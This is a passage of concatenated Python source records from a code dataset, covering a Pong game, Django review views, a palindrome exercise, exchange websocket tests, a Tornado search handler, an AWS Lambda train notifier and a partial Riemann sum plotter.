ball_vel\nball_pos=[width/2,height/2]\nball_vel=[0,0]\npad1_pos=[0,height/2-pad_height/2]\npad2_pos=[width-pad_width,height/2-pad_height/2]\npad1_vel=0\npad2_vel=0\nscore1=0\nscore2=0\nplayer1_name=\"Player1\"\nplayer2_name=\"Player2\"\nplayer1_colour=\"White\"\nplayer2_colour=\"white\"\n# Changing Player 1 Name\ndef play1(player1):\n global player1_name\n player1_name=player1\n \n# Changing Player 2 Name\ndef play2(player2):\n global player2_name\n player2_name=player2\n\n# Changing ball direction and position\ndef spawn_ball(direction):\n global ball_pos, ball_vel\n ball_pos=[width/2,height/2]\n if (direction==right):\n ball_vel=[2,2]\n elif (direction==left):\n ball_vel=[-2,2]\n \n# Define Button handler\ndef new_game():\n global pad1_pos,pad2_pos,pad1_vel,pad2_vel\n global score1,score2\n score1=0\n score2=0\n pad1_pos=[0,height/2-pad_height/2]\n pad2_pos=[width-pad_width,height/2-pad_height/2]\n pad1_vel=0\n pad2_vel=0\n spawn_ball(right)\n\n# Update Positon of Ball\ndef update_ball():\n global ball_pos,ball_vel,pad1_pos,pad2_pos,height,width,ball_radius\n global score1,score2\n ball_pos[0]+=ball_vel[0]\n ball_pos[1]+=ball_vel[1]\n # Vertical Ball Restriction\n if (ball_pos[1](height-ball_radius)):\n ball_pos[1]=(height-ball_radius)\n ball_vel[1]=-ball_vel[1]\n # Horizontal Ball Restriction \n if (ball_pos[0]==(pad_width+ball_radius)):\n if (ball_pos[1]<=pad1_pos[1] or ball_pos[1]>=(pad1_pos[1]+80)):\n score2+=1\n spawn_ball(right)\n else:\n ball_vel[0]=-ball_vel[0]\n ball_vel[0]=ball_vel[0]*2\n ball_vel[1]=ball_vel[1]*2 \n if (ball_pos[0]==(width-pad_width-ball_radius)):\n if (ball_pos[1]<=pad2_pos[1] or ball_pos[1]>=(pad2_pos[1]+80)):\n score1+=1\n spawn_ball(left)\n else:\n ball_vel[0]=-ball_vel[0]\n ball_vel[0]=ball_vel[0]*2\n ball_vel[1]=ball_vel[1]*2 \n#Draw Handler\ndef draw(canvas):\n global score1, score2, pad1_pos, pad2_pos\n global ball_pos, ball_vel\n # draw mid line and gutters\n canvas.draw_text(\"By MrL\",[525,395],20,\"white\")\n canvas.draw_line([width / 2, 0],[width / 2, height], 1, \"White\")\n canvas.draw_line([pad_width, 0],[pad_width, height], 1, \"White\")\n canvas.draw_line([width - pad_width, 0],[width - pad_width, height], 1, \"White\")\n # update ball\n update_ball()\n # draw ball\n canvas.draw_circle(ball_pos,ball_radius,3,\"Grey\",\"White\")\n # Paddle1 Postion Update\n pad1_pos[1]+=pad1_vel\n if (pad1_pos[1]<0):\n pad1_pos[1]=0\n elif (pad1_pos[1]>320):\n pad1_pos[1]=320\n # Paddle2 Postion Update\n pad2_pos[1]+=pad2_vel\n if (pad2_pos[1]<0):\n pad2_pos[1]=0\n elif (pad2_pos[1]>320):\n pad2_pos[1]=319\n # draw paddles\n canvas.draw_line([pad1_pos[0],pad1_pos[1]],[0,pad1_pos[1]+pad_height],pad_width+5,player1_colour)\n canvas.draw_line([pad2_pos[0]+5,pad2_pos[1]+5],[width-pad_width+5,pad2_pos[1]+pad_height+5],pad_width+3,player2_colour)\n # draw scores\n canvas.draw_text(player1_name+' '+str(score1),[90,80],25,\"White\")\n canvas.draw_text(player2_name+' '+str(score2),[390,80],25,\"White\")\n # Declare winner\n if (time%5==0 or time%2==0):\n if (score1>=5 or score2>=5):\n if (score1>=score2):\n canvas.draw_text(player1_name+' Wins',[80,250],30,\"teal\")\n if (score2>=score1):\n canvas.draw_text(player2_name+' Wins',[380,250],30,\"teal\")\n \n# Colour Choice\ndef colour1(colour):\n global player1_colour\n player1_colour=colour\n \n# Colour Choice\ndef colour2(colour):\n global player2_colour\n player2_colour=colour\n\n# Winner\ndef spot_time():\n global time\n time+=1\n \n# Setting Paddle Velocity \ndef keydown(key):\n global pad1_vel, pad2_vel\n if (key==38):\n pad2_vel=-10\n elif (key==40):\n pad2_vel=10\n elif (key==87):\n pad1_vel=-10\n elif (key==83):\n pad1_vel=10\n \n# Resetting paddle Velocity\ndef keyup(key):\n global pad1_vel, pad2_vel\n if (key==38):\n pad2_vel=0\n elif (key==40):\n pad2_vel=0\n elif (key==87):\n pad1_vel=0\n elif (key==83):\n pad1_vel=0\n\n# create frame\nframe = simplegui.create_frame(\"Pong\", width, height)\nframe.set_draw_handler(draw)\nframe.set_keydown_handler(keydown)\nframe.set_keyup_handler(keyup)\nframe.add_label(\"Enter your Names \")\nplayer1_n=frame.add_input(\"Player 1\",play1,200)\ncolour1_n=frame.add_input(\"Colour of Player 1 \",colour1,200)\nplayer2_n=frame.add_input(\"Player 2\",play2,200)\ncolour2_n=frame.add_input(\"Colour of Player 2 \",colour2,200)\nframe.add_label(\"Click New Game.\")\nframe.add_button(\"New Game\",new_game,200)\nframe.add_label(\"To Restart Click New Game.\")\ntimer=simplegui.create_timer(100,spot_time)\n\n# start frame\n#new_game()\ntimer.start()\nframe.start()\n\n","sub_path":"Air Hockey.py","file_name":"Air Hockey.py","file_ext":"py","file_size_in_byte":5328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"284204210","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import JsonResponse\nfrom django.template.loader import render_to_string\n\nfrom .models import Review_Entity\nfrom .models import Hotel_Entity\nfrom .forms import ReviewForm\n\n\ndef search(request):\n if request.method == 'POST': # this will be POST now \n review_date = request.POST.get('query') # do some research what it does\n try:\n status = Review_Entity.objects.filter(hid__Hotel_Name__icontains=review_date)\n except Review_Entity.DoesNotExist:\n status = None\n return render(request,'reviews/review_list.html',{'reviews':status})\n else:\n return render(request,'reviews/review_list.html',{})\n\ndef review_list(request):\n reviews = Review_Entity.objects.all()\n return render(request, 'reviews/review_list.html', {'reviews': reviews})\n\n\ndef save_review_form(request, form, template_name):\n data = dict()\n if request.method == 'POST':\n if form.is_valid():\n form.save()\n data['form_is_valid'] = True\n reviews = Review_Entity.objects.all()\n data['html_review_list'] = render_to_string('reviews/includes/partial_review_list.html', {\n 'reviews': reviews\n })\n else:\n data['form_is_valid'] = False\n context = {'form': form}\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\ndef review_create(request):\n if request.method == 'POST':\n form = ReviewForm(request.POST)\n else:\n form = ReviewForm()\n return save_review_form(request, form, 'reviews/includes/partial_review_create.html')\n\n\ndef review_update(request, pk):\n review = get_object_or_404(Review_Entity, pk=pk)\n if request.method == 'POST':\n form = ReviewForm(request.POST, instance=review)\n else:\n form = ReviewForm(instance=review)\n return save_review_form(request, form, 'reviews/includes/partial_review_update.html')\n\n\ndef review_delete(request, pk):\n review = get_object_or_404(Review_Entity, pk=pk)\n data = dict()\n if request.method == 'POST':\n review.delete()\n data['form_is_valid'] = True\n reviews = Review_Entity.objects.all()\n data['html_review_list'] = render_to_string('reviews/includes/partial_review_list.html', {\n 'reviews': reviews\n })\n else:\n context = {'review': review}\n data['html_form'] = render_to_string('reviews/includes/partial_review_delete.html', context, request=request)\n return JsonResponse(data)\n","sub_path":"mysite/reviews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"576123893","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Challenges of 30 Days of Code from HackerRank.\n\nThis is a basic tutorial challenge specified by `HackerRank`_.\n\n.. _HackerRank:\n https://www.hackerrank.com/challenges/30-queues-stacks\n\"\"\"\n\nfrom collections import deque\n\nclass Solution(object):\n \"\"\"The solution class with functionalities of stack and queue.\"\"\"\n def __init__(self):\n \"\"\"The class contructor.\"\"\"\n self.myQueue = deque()\n self.myStack = list()\n\n def pushCharacter(self, ch):\n \"\"\"Pushes a character onto a stack.\"\"\"\n self.myStack.append(ch)\n\n def enqueueCharacter(self, ch):\n \"\"\"Enqueues a character in the queue.\"\"\"\n self.myQueue.append(ch)\n\n def popCharacter(self):\n \"\"\"Pops and returns the character at the top of the stack.\"\"\"\n return self.myStack.pop()\n\n def dequeueCharacter(self):\n \"\"\"Dequeues and returns the first character in the queue.\"\"\"\n return self.myQueue.popleft()\n\n\ndef main():\n \"\"\"The main routine.\"\"\"\n # read the string s\n s = input()\n #Create the Solution class object\n obj = Solution()\n\n l = len(s)\n # push/enqueue all the characters of string s to stack\n for i in range(l):\n obj.pushCharacter(s[i])\n obj.enqueueCharacter(s[i])\n\n isPalindrome = True\n '''\n pop the top character from stack\n dequeue the first character from queue\n compare both the characters\n '''\n for i in range(l // 2):\n if obj.popCharacter() != obj.dequeueCharacter():\n isPalindrome = False\n break\n #finally print whether string s is palindrome or not.\n if isPalindrome:\n print(\"The word, \"+s+\", is a palindrome.\")\n else:\n print(\"The word, \"+s+\", is not a palindrome.\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"hackerrank/practice/30_days_of_code/day18_queues_and_stacks.py","file_name":"day18_queues_and_stacks.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"611858929","text":"import asyncio\nimport json\nfrom unittest import TestCase\nfrom unittest.mock import AsyncMock\n\nfrom hummingbot.connector.exchange.ndax.ndax_websocket_adaptor import NdaxWebSocketAdaptor\nfrom hummingbot.connector.exchange.ndax import ndax_constants as CONSTANTS\nfrom hummingbot.core.api_throttler.async_throttler import AsyncThrottler\n\n\nclass NdaxWebSocketAdaptorTests(TestCase):\n\n def test_sending_messages_increment_message_number(self):\n sent_messages = []\n throttler = AsyncThrottler(CONSTANTS.RATE_LIMITS)\n ws = AsyncMock()\n ws.send.side_effect = lambda sent_message: sent_messages.append(sent_message)\n\n adaptor = NdaxWebSocketAdaptor(throttler, websocket=ws)\n payload = {}\n asyncio.get_event_loop().run_until_complete(adaptor.send_request(endpoint_name=CONSTANTS.WS_PING_REQUEST,\n payload=payload,\n limit_id=CONSTANTS.WS_PING_ID))\n asyncio.get_event_loop().run_until_complete(adaptor.send_request(endpoint_name=CONSTANTS.WS_PING_REQUEST,\n payload=payload,\n limit_id=CONSTANTS.WS_PING_ID))\n asyncio.get_event_loop().run_until_complete(adaptor.send_request(endpoint_name=CONSTANTS.WS_ORDER_BOOK_CHANNEL,\n payload=payload))\n self.assertEqual(3, len(sent_messages))\n\n message = json.loads(sent_messages[0])\n self.assertEqual(1, message.get('i'))\n message = json.loads(sent_messages[1])\n self.assertEqual(2, message.get('i'))\n message = json.loads(sent_messages[2])\n self.assertEqual(3, message.get('i'))\n\n def test_request_message_structure(self):\n sent_messages = []\n throttler = AsyncThrottler(CONSTANTS.RATE_LIMITS)\n ws = AsyncMock()\n ws.send.side_effect = lambda sent_message: sent_messages.append(sent_message)\n\n adaptor = NdaxWebSocketAdaptor(throttler, websocket=ws)\n payload = {\"TestElement1\": \"Value1\", \"TestElement2\": \"Value2\"}\n asyncio.get_event_loop().run_until_complete(adaptor.send_request(endpoint_name=CONSTANTS.WS_PING_REQUEST,\n payload=payload,\n limit_id=CONSTANTS.WS_PING_ID))\n\n self.assertEqual(1, len(sent_messages))\n message = json.loads(sent_messages[0])\n\n self.assertEqual(0, message.get('m'))\n self.assertEqual(1, message.get('i'))\n self.assertEqual(CONSTANTS.WS_PING_REQUEST, message.get('n'))\n message_payload = json.loads(message.get('o'))\n self.assertEqual(payload, message_payload)\n\n def test_receive_message(self):\n throttler = AsyncThrottler(CONSTANTS.RATE_LIMITS)\n ws = AsyncMock()\n ws.recv.return_value = 'test message'\n\n adaptor = NdaxWebSocketAdaptor(throttler, websocket=ws)\n received_message = asyncio.get_event_loop().run_until_complete(adaptor.recv())\n\n self.assertEqual('test message', received_message)\n\n def test_close(self):\n throttler = AsyncThrottler(CONSTANTS.RATE_LIMITS)\n ws = AsyncMock()\n\n adaptor = NdaxWebSocketAdaptor(throttler, websocket=ws)\n asyncio.get_event_loop().run_until_complete(adaptor.close())\n\n self.assertEquals(1, ws.close.await_count)\n\n def test_get_payload_from_raw_received_message(self):\n throttler = AsyncThrottler(CONSTANTS.RATE_LIMITS)\n ws = AsyncMock()\n payload = {\"Key1\": True,\n \"Key2\": \"Value2\"}\n message = {\"m\": 1,\n \"i\": 1,\n \"n\": \"Endpoint\",\n \"o\": json.dumps(payload)}\n raw_message = json.dumps(message)\n\n adaptor = NdaxWebSocketAdaptor(throttler, websocket=ws)\n extracted_payload = adaptor.payload_from_raw_message(raw_message=raw_message)\n\n self.assertEqual(payload, extracted_payload)\n\n def test_get_endpoint_from_raw_received_message(self):\n throttler = AsyncThrottler(CONSTANTS.RATE_LIMITS)\n ws = AsyncMock()\n payload = {\"Key1\": True,\n \"Key2\": \"Value2\"}\n message = {\"m\": 1,\n \"i\": 1,\n \"n\": \"Endpoint\",\n \"o\": json.dumps(payload)}\n raw_message = json.dumps(message)\n\n adaptor = NdaxWebSocketAdaptor(throttler, websocket=ws)\n extracted_endpoint = adaptor.endpoint_from_raw_message(raw_message=raw_message)\n\n self.assertEqual(\"Endpoint\", extracted_endpoint)\n","sub_path":"test/hummingbot/connector/exchange/ndax/test_ndax_websocket_adaptor.py","file_name":"test_ndax_websocket_adaptor.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"492304695","text":"from bson.objectid import ObjectId\nimport json\nimport tornado.web\nimport sclhub.redis_request_handler\nimport sclhub.tools.user\n\n\nclass SearchHandler(sclhub.redis_request_handler.RedisRequestHandler):\n redis = None\n loader = None\n mongo = None\n\n def initialize(self, redis, loader, mongo):\n self.redis = redis\n self.loader = loader\n self.mongo = mongo\n\n def get(self):\n user = sclhub.tools.user.User(\n self.current_user, self.redis, self.mongo)\n\n online_friends = user.online_friends\n online = []\n for onl in online_friends:\n onl = onl.decode(\"utf-8\")\n if onl != self.current_user:\n online_user = sclhub.tools.user.User(onl, None, self.mongo)\n online.append(online_user.profile)\n\n html = self.loader.load(\"search.html\").generate(\n profile=user.profile,\n current_user=self.current_user,\n online=online\n )\n self.write(html)\n\n def post(self, search):\n try:\n offset = self.get_argument(\"offset\")\n except tornado.web.MissingArgumentError:\n offset = 0\n if search[0] == \"@\":\n users = self.username_search(search[1:], offset)\n else:\n search = search.split(\" \", 1)\n if len(search) == 2:\n users = self.name_search(search, offset)\n response = dict()\n for user in users:\n response[str(user[\"username\"])] = dict(\n full_name=user[\"full_name\"],\n pic=user[\"pic\"],\n avatar=user[\"avatar\"],\n )\n if users is None:\n self.write(\"{}\")\n else:\n self.write(json.dumps(response))\n\n\n def username_search(self, username, offset):\n return self.mongo.users.profiles.find({\"username\": {\"$regex\":\n \"[a-z_]*\"+username+\"[a-z_]*\", \"$options\":\"i\"}}).skip(offset).limit(15)\n\n def name_search(self, search, offset):\n pattern = \"({0}\\ {1})|({1}\\ {0})\".format(search[0], search[1])\n return self.mongo.users.profiles.find({\"full_name\": {\"$regex\":pattern}}).skip(offset).limit(15)\n","sub_path":"sclhub/handlers/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"624616093","text":"import json\nimport os\nimport time\n\nimport boto3\n\nfrom subway_monitor import train_in_range\nfrom utils import dynamo_item_to_dict\nfrom decimal import Decimal\n\nPOLLING_FREQUENCY = 15\n\n\ndef lambda_handler(event, context):\n print(event)\n event_source = get_event_source(event)\n record = event['Records'][0]\n if event_source == 'DynamoDB':\n if record['eventName'] == 'INSERT':\n new_item = dynamo_item_to_dict(record['dynamodb']['NewImage'])\n train = new_item['train']\n direction = new_item['direction']\n timestamp = new_item['timestamp']\n if train_in_range(train, direction):\n post_to_topic(train, direction, timestamp)\n update_dynamo(timestamp, 'notified')\n else:\n post_to_queue(train, direction, timestamp)\n else:\n body = json.loads(record['body'])\n train = body['train']\n direction = body['direction']\n timestamp = body['timestamp']\n\n if time.time() - float(timestamp) >= 2700:\n update_dynamo(timestamp, 'expired')\n\n elif train_in_range(train, direction):\n post_to_topic(train, direction, timestamp)\n update_dynamo(timestamp, 'notified')\n else:\n post_to_queue(train, direction, timestamp)\n\n\ndef post_to_queue(train, direction, timestamp):\n time.sleep(POLLING_FREQUENCY)\n sqs_client = boto3.client('sqs')\n sqs_client.send_message(\n QueueUrl=os.environ['SQS_QUEUE_URL'],\n MessageBody=json.dumps({\n \"train\": train,\n \"direction\": direction,\n \"timestamp\": float(timestamp)\n })\n )\n\n\ndef post_to_topic(train, direction, timestamp):\n\n sns_client = boto3.client('sns')\n response = sns_client.publish(\n TargetArn=os.environ['SMS_SENDER_TOPIC_ARN'],\n Message=f'Leave now for the {train} heading {direction}'\n )\n\n\ndef get_event_source(event):\n source = event['Records'][0]['eventSource']\n if source == 'aws:dynamodb':\n return 'DynamoDB'\n if source == 'aws:sqs':\n return 'SQS'\n\n\ndef update_dynamo(timestamp, status):\n if not isinstance(timestamp, Decimal):\n timestamp = Decimal(str(timestamp))\n table = boto3.resource('dynamodb').Table(os.environ['DYNAMODB_TABLE'])\n record = table.get_item(\n Key={'timestamp': timestamp}\n )\n record['Item']['status'] = status\n table.put_item(\n Item=record['Item']\n )\n\n","sub_path":"SubwayMonitor/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"626892886","text":"#--------------------------------------------------------------------------------------------------#\n#\n# Riemann Sum Grapher (just for fun) for polynomials\n# \n# Luke Poeppel\n# 11/03/18\n# NYC\n#\n#--------------------------------------------------------------------------------------------------#\nfrom decimal import Decimal\n\nimport copy\nimport math\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sympy.parsing.sympy_parser import parse_expr\n\n#from matrix import *\n#from parabola import *\n\n'''\n11/01/18:\nTODO:\n- Should rewrite plot title for each if statement if I want the formula to be displayed.\n- In plot(), remove redundant lines from if statements.\n- Should error be absolute value? Probably yes...\n- For displaying the function in the matplotlib window, it would probably best to do it a bit\ndifferently...\n- There's going to have to be a whole bunch of additional code for negative area (as computed) plot.\n\nEnhancement: \n\t- Different colored graph (depending on whether the graph is over or under the line)\n\t- Simpson\n\t- Hover over rectangle to get area\n\nEdge Cases: \n\t- Extrema not visible in the range...\n'''\n\n#--------------------------------------------------------------------------------------------------#\n#Helper Functions\ndef arrayToPythonic(funcArray, varString = 'x'):\n\t'''\n\t>>> farray = [2, 3, 2, 1]\n\t>>> arrayToPythonic(farray)\n\t'2*x**3+3*x**2+2*x+1'\n\t>>> farray2 = [4, -6, 0]\n\t>>> arrayToPythonic(farray2)\n\t'4*x**2-6*x'\n\t>>> arrayToPythonic([1, 2, 3])\n\t'1*x**2+2*x+3'\n\t>>> arrayToPythonic([0, 0, 0])\n\t''\n\n\t'''\n\tres = ''\n\tfirstPower = len(funcArray) - 1\n\n\tfor index, coefficient in enumerate(funcArray):\n\t\tpower = firstPower - index\n\n\t\tif coefficient:\n\t\t\tif coefficient < 0:\n\t\t\t\tsign, coefficient = ('-' if res else '- '), -1 * coefficient\n\t\t\telif coefficient > 0:\n\t\t\t\tsign = ('+' if res else '')\n\n\t\t\tif coefficient == 1 and power != 0:\n\t\t\t\tstrCoef = '1'\n\t\t\telse:\n\t\t\t\tstrCoef = str(coefficient)\n\n\t\t\tif power == 0:\n\t\t\t\tstrPower = ''\n\t\t\telif power == 1:\n\t\t\t\tstrPower = '*' + varString\n\t\t\telse:\n\t\t\t\tstrPower = '*' + varString + '**' + str(power)\n\n\t\t\tres += sign + strCoef + strPower\n\n\treturn res\n\ndef string_to_latex(strIn):\n\t'''\n\tConverts format of user input to format suitable for latex.\n\tJust works for polynomials for now.\n\n\t>>> string_to_latex('3*x**2+2*x+1')\n\t'$3x^2+2x+1$'\n\t>>> string_to_latex('e**x + cos(x)')\n\t'$e^x + cos(x)$'\n\t'''\n\tif '**' in strIn:\n\t\tstrIn = strIn.replace('**', '^')\n\tif '*' in strIn:\n\t\tstrIn = strIn.replace('*', '')\n\n\treturn r'$' + str(strIn) +'$'\n\n#--------------------------------------------------------------------------------------------------#\n\nclass RiemannSum(object):\n\tdef __init__(self, funcArray, lowerBound, upperBound, partitions):\n\t\tself.funcArray = funcArray\n\t\tself.partitions = partitions\n\t\tself.lowerBound = lowerBound\n\t\tself.upperBound = upperBound\n\t\tself.integral_range = self.upperBound - self.lowerBound\n\n\t\t#Using Decimal because modulo cannot be applied to float.\n\t\tcomputedDelta = (self.integral_range / self.partitions)\n\t\tself.divisible = str(Decimal(str(self.integral_range)) % Decimal(str(computedDelta)))\n\n\t\t#This will become a serious issue if dealing with decimals.\n\t\tif (self.divisible == '0'):\n\t\t\tself.delta = int(computedDelta)\n\t\telif (self.divisible == '0.0'):\n\t\t\tself.delta = int(computedDelta)\n\t\telse:\n\t\t\traise Exception('The number of partitions must be evenly divisble by the range of integration!')\n\n\t\tself.function_string = arrayToPythonic(self.funcArray)\n\n\tdef x_values(self):\n\t\t'''\n\t\tReturns list of x-values (including the midpoints) for each coordinate in use.\n\t\tNote: can't use range with a float step size; use numpy arange.\n\t\t'''\n\t\tx_vals = []\n\n\t\tfor thisStep in np.arange(self.lowerBound, self.upperBound + 0.5, (float(self.delta) / 2)):\n\t\t\tx_vals.append(thisStep)\n\n\t\treturn x_vals\n\n\tdef y_values(self):\n\t\t'''\n\t\tReturns list of y-values based on the function and x-values produced above. \n\t\tFirst place to start for converting from function_string to func_array\n\t\t'''\n\t\ty_vals = []\n\n\t\tfor x in self.x_values():\n\t\t\ty_vals.append(eval(self.function_string))\n\n\t\treturn y_vals\n\n\tdef coordinates(self):\n\t\treturn list(zip(self.x_values(), self.y_values()))\n\n\t#----------------------------------------------------------------------------------------------#\n\t'''\n\tSumming techniques\n\t'''\n\tdef left_hand(self):\n\t\t'''\n\t\tLeft-Hand Riemann Sum.\n\t\t'''\n\t\tleft_riemann_sum = 0\n\t\tfor thisVal in self.y_values()[0:7:2]:\n\t\t\tleft_riemann_sum += self.delta * thisVal\n\n\t\treturn left_riemann_sum\n\n\tdef midpoint(self):\n\t\t'''\n\t\tMidpoint Riemann Sum.\n\t\t'''\n\t\tmidpoint_riemann_sum = 0\n\t\tfor thisVal in self.y_values()[1:8:2]:\n\t\t\tmidpoint_riemann_sum += self.delta * thisVal\n\n\t\treturn midpoint_riemann_sum\n\n\tdef right_hand(self):\n\t\t'''\n\t\tRight-Hand Riemann Sum.\n\t\t'''\n\t\tright_riemann_sum = 0\n\t\tfor thisVal in self.y_values()[2:9:2]:\n\t\t\tright_riemann_sum += self.delta * thisVal\n\n\t\treturn right_riemann_sum\n\n\tdef trapezoid(self):\n\t\t'''\n\t\tEquation:\n\t\t(delta-x/2)[f(x1) + 2f(x2) + 2f(x3)... + f(xn)] = ((Left(n) + Right(n))/2)\n\t\t'''\n\t\treturn ((self.left_hand() + self.right_hand()) / 2)\n\n\tdef simpson(self):\n\t\t'''\n\t\tReturns the generalized recursive formula; i.e. not computed using area of parabola (would \n\t\trequire other approximation or real integral value).\n\n\t\t(2Mid(n) + Trap(n))/3\n\t\t'''\n\t\treturn (((2 * self.midpoint()) + self.trapezoid()) / 3)\n\n\t#----------------------------------------------------------------------------------------------#\n\t#Comparisons to actual integral value.\n\tdef definite_integral_value(self):\n\t\t'''\n\t\tCompare the estimate to the value of the actual definite integral. Since we are dealing only\n\t\twith polynomials (so far), this is pretty simple using numpy.\n\n\t\tIntegral of f(x) = x + 1 on [0, 3]\n\t\t>>> p = np.poly1d([1, 1])\t#where the array holds the coefficients\n\t\t>>> print(p)\n\t\t\n\t\t1 x + 1\n\t\t>>> integral = p.integ()\n\t\t>>> integral(3) - integral(0)\n\t\t7.5\n\t\t'''\n\t\tpolynomial = np.poly1d(self.funcArray)\n\t\tintegral = polynomial.integ()\n\n\t\treturn ((integral(self.upperBound)) - (integral(self.lowerBound)))\n\n\tdef closestApproximation(self):\n\t\t#these are just numbers.\n\t\tallTechniques = [[self.left_hand(), 'Left-Hand'], [self.midpoint(), 'Midpoint'], \n\t\t\t\t\t\t\t[self.right_hand(), 'Right-Hand'], [self.trapezoid(), 'Trapezoid'], \n\t\t\t\t\t\t\t[self.simpson(), 'Simpson']]\n\n\t\tcalculatedDifferences = []\n\t\tfor thisTechniqueVal, thisLabel in allTechniques:\n\t\t\tcalculatedDifferences.append([abs(self.definite_integral_value() - thisTechniqueVal), thisLabel])\n\n\t\treturn min(calculatedDifferences)\n\n\t#----------------------------------------------------------------------------------------------#\n\tdef plot(self, technique='left_hand'):\n\t\t'''\n\t\tPlots the function with Riemann Rectangles.\n\n\t\tWhat if y or x ticks are decimals?\n\t\t'''\n\t\tx = np.linspace(self.lowerBound - 1, self.upperBound + 1, 1000)\n\n\t\tfunction = eval(self.function_string)\n\t\tfunction_as_string = string_to_latex(self.function_string)\n\t\t\n\t\tplt.suptitle('Riemann Sum Grapher Tool : ' + r'$ {\\int}_{a}^{b} f(x) dx \\approx {\\sum}_{a}^{b} f(x_{i}) \\Delta x $')\n\t\tplt.title('f(x) = ' + function_as_string + r'$\\in$' + '[{},{}]'.format(self.lowerBound, self.upperBound)\n\t\t\t\t+ ' with n = ' + str(self.partitions) + ' partitions')\n\n\n\t\tplt.xlabel('x-axis')\n\t\tplt.ylabel('y-axis')\n\t\tplt.xticks(list(range(self.lowerBound, self.upperBound + 1)))\n\n\t\tif (max(self.y_values()) - self.lowerBound) <= 20:\n\t\t\tplt.yticks(np.arange(self.lowerBound, max(self.y_values())))\n\t\telse:\n\t\t\t'''\n\t\t\tIf range gets big enough, ticks get larger. Try to find good pattern for this.\n\t\t\t'''\n\t\t\tplt.yticks(np.arange(self.lowerBound, max(self.y_values()), 5))\n\n\t\t#not sure what this line is doing.\n\t\tplt.axis([self.lowerBound, self.upperBound + 0.1, 0, max(self.y_values())])\n\n\t\t#-------------------------------------------------------------------------------------------\n\t\t'''\n\t\tTODO: there are several lines in here that are repeated that could be done in the above \n\t\tsection (for example including the actual area in the legend).\n\t\t'''\n\t\tif technique == 'left_hand':\n\t\t\tcoords = [(elem1, elem2) for elem1, elem2 in self.coordinates()[0:7:2]]\n\t\t\tplt.scatter(*zip(*coords))\n\n\t\t\tplt.plot(x, function, label = 'Left Hand Approximation = ' + str(self.left_hand()))\n\n\t\t\tplt.plot([], [], label = 'Actual Value ' + r'$\\approx$' + str(round(self.definite_integral_value(), 4)))\n\t\t\tleft_hand_error = abs(self.definite_integral_value() - self.left_hand())\n\t\t\tplt.plot([], [], label = 'Error ' + r'$\\approx$' + str(round(left_hand_error, 3)))\n\n\t\t\t#This is old and needs to be completely changed. Try graphing x^2 with 2 partitions: doesn't work! Needs to involve delta.\n\t\t\tfor x in range(self.lowerBound, self.upperBound):\n\t\t\t\tplt.hlines(y = eval(self.function_string), xmin = x, xmax = x + 1)\n\t\t\t\tplt.fill_between([x, x + 1], 0, eval(self.function_string), color = 'r')\n\n\t\t\t\tplt.vlines(x = x, ymin = 0, ymax = eval(self.function_string))\n\n\t\t\t#see comment\n\t\t\tplt.vlines(x = self.upperBound, ymin = 0, ymax = self.y_values()[-2])\n\n\t\t#-------------------------------------------------------------------------------------------\n\t\t#This seems to be where there are issues with the bounded area.\n\t\telif technique == 'midpoint':\n\t\t\tcoords = [(elem1, elem2) for elem1, elem2 in self.coordinates()[1:8:2]]\n\t\t\tplt.scatter(*zip(*coords))\n\n\t\t\tplt.plot(x, function, label = 'Midpoint Approximation = ' + str(self.midpoint()))\n\n\t\t\tplt.plot([], [], label = 'Actual Value ' + r'$\\approx$' + str(round(self.definite_integral_value(), 4)))\n\t\t\tmidpoint_error = (self.definite_integral_value() - self.midpoint())\n\t\t\tplt.plot([], [], label = 'Error ' + r'$\\approx$' + str(round(midpoint_error, 3)))\n\n\t\t\tfor x, y in self.coordinates()[1:8:2]:\n\t\t\t\tplt.hlines(y = eval(self.function_string), xmin = x - (self.delta / 2), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\txmax = x + (self.delta / 2))\n\t\t\t\tplt.vlines(x = x - (self.delta / 2), ymin = 0, ymax = eval(self.function_string))\n\n\t\t\tfor x, y in self.coordinates()[1:8:2]:\n\t\t\t\tplt.fill_between([x - (self.delta / 2), x + (self.delta / 2)], 0, eval(self.function_string), \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcolor = 'r')\n\t\t\t#see comment\n\t\t\tplt.vlines(x = self.upperBound, ymin = 0, ymax = self.y_values()[-2])\n\n\t\t#-------------------------------------------------------------------------------------------\n\t\telif technique == 'right_hand':\n\t\t\tcoords = [(elem1, elem2) for elem1, elem2 in self.coordinates()[2:9:2]]\n\t\t\tplt.scatter(*zip(*coords))\n\n\t\t\tplt.plot(x, function, label = 'Right Hand Approximation = ' + str(self.right_hand()))\n\n\t\t\tplt.plot([], [], label = 'Actual Value ' + r'$\\approx$' + str(round(self.definite_integral_value(), 4)))\n\t\t\tright_hand_error = abs((self.definite_integral_value() - self.right_hand()))\n\t\t\tplt.plot([], [], label = 'Error ' + r'$\\approx$' + str(round(right_hand_error, 3)))\t\t\t\n\n\t\t\tfor x in range(self.lowerBound + 1, self.upperBound + 1):\n\t\t\t\tplt.hlines(y = eval(self.function_string), xmin = x - self.delta, xmax = x)\n\t\t\t\tplt.fill_between([x - 1, x], 0, eval(self.function_string), color = 'r')\n\t\t\t\tplt.vlines(x = x - 1, ymin = 0, ymax = eval(self.function_string))\n\n\t\t\t#see comment\n\t\t\t#plt.vlines(x = self.upperBound, ymin = 0, ymax = 